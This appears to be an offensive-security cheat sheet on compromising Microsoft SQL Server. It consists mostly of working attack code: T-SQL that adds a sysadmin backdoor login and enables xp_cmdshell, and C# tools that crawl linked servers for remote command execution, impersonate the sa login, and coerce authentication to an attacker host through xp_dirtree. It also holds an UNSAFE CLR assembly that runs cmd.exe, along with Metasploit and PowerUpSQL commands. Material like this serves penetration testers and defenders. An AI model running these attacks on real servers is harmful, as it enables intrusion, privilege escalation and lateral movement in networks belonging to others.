Create a new login, map it to the db_owner user and assign the sysadmin role:
CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';
CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';
Check the state of xp_cmdshell:
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
Enable xp_cmdshell:
1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO
Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa):
SELECT SYSTEM_USER;
Current database username (like msdb.dbo):
SELECT USER;
Test if current server role is public or sysadmin:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:
EXEC sp_serveroption 'SQLSRV01','rpc','true';
EXEC sp_serveroption 'SQLSRV01','rpc out','true';
EXEC ('select SYSTEM_USER;') AT [SQLSRV01];
EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV01];
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV02];') AT [SQLSRV01];
EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];
EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT [SQLSRV01];
Abusing server links from C# code:
SqlCrawlLinks.cs
using System;
using System.Data.SqlClient;
namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.corp1.com";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// List linked servers
string result = sqlQuery("EXEC sp_linkedservers;", con);
Console.WriteLine($"[*] Linked SQL servers:\n{result}");
// Enumerate current login on the linked server
result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER as login');", con);
Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02");
// Enable xp_cmdshell on the linked server
sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV02];", con);
// RCE via EXEC at on the linked server
result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");
// RCE via OPENQUERY on the linked server
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_configure ''show advanced options'',1; reconfigure; EXEC sp_configure ''xp_cmdshell'',1; reconfigure;');", con)
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';');", con);
// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02)
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV01];') AT [SQLSRV02];", con);
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV01];') AT [SQLSRV02];", con);
con.Close();
}
}
}
Crawl links with MSF:
msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run
Crawl links with PowerUpSQL:
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest
PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""sqlsrv02.megacorp.local"", 'select * from information_schema.tables')"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM master..syslogins" | ft
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Password "Passw0rd!" -Query "SELECT name FROM master..sysdatabases"
using System;
using System.Data.SqlClient;
namespace MSSQL
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Enumerate login name (SQL Server login or Domain/Windows username)
string result = sqlQuery("SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Logged in as: {result}");
// Enumerate database username
result = sqlQuery("SELECT USER;", con);
Console.WriteLine($"[*] Mapped to the user: {result}");
// Check if we have public role assigned
result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
Int32 val = Int32.Parse(result.ToString());
if (val == 1)
{
Console.WriteLine("[*] User is a member of public role");
}
else
{
Console.WriteLine("[*] User is NOT a member of public role");
}
// Invoke xp_dirtree to coerce authentication on attacker's machine
string lhost = args[0];
sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}");
// Enumerate logins that we can impersonate
result = sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';", con);
Console.WriteLine($"[*] Logins that can be impersonated:\n{result}");
// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated user: {result}");
// Impersonate dbo database user
result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated login: {result}");
// Execute OS commands via xp_cmdshell
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;", con);
Console.WriteLine("[+] Enabled xp_cmdshell");
result = sqlQuery("EXEC xp_cmdshell whoami", con);
Console.WriteLine($"[*] xp_cmdshell: {result}");
// Execute OS commands via Ole Automation Procedures
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c echo Test > C:\Windows\Tasks\out.txt';", con);
con.Close();
}
}
}
Custom Assemblies
Load and trigger custom assembly:
SqlCustomAssembly.cs
using System;
using System.Data.SqlClient;
namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
// Drop existing procedure and assembly
sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);
// Enable CLR integration
sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security',0; RECONFIGURE;", con);
Console.WriteLine("[+] Enabled CLR integration");
// Create new assembly
sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH PERMISSION_SET = UNSAFE;", con);
//sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNSAFE;", con);
Console.WriteLine("[+] Created new assembly");
// Create new procedure
sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly1].[StoredProcedures].[SqlCmdExec];", con);
Console.WriteLine("[+] Created new procedure");
// Trigger custom class for RCE
string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
Console.WriteLine($"[*] SqlCmdExec: {result}");
con.Close();
}
}
}
Custom assembly code example (must be compiled to SqlCmdExec.dll):
SqlCmdExec.cs
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmdExec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}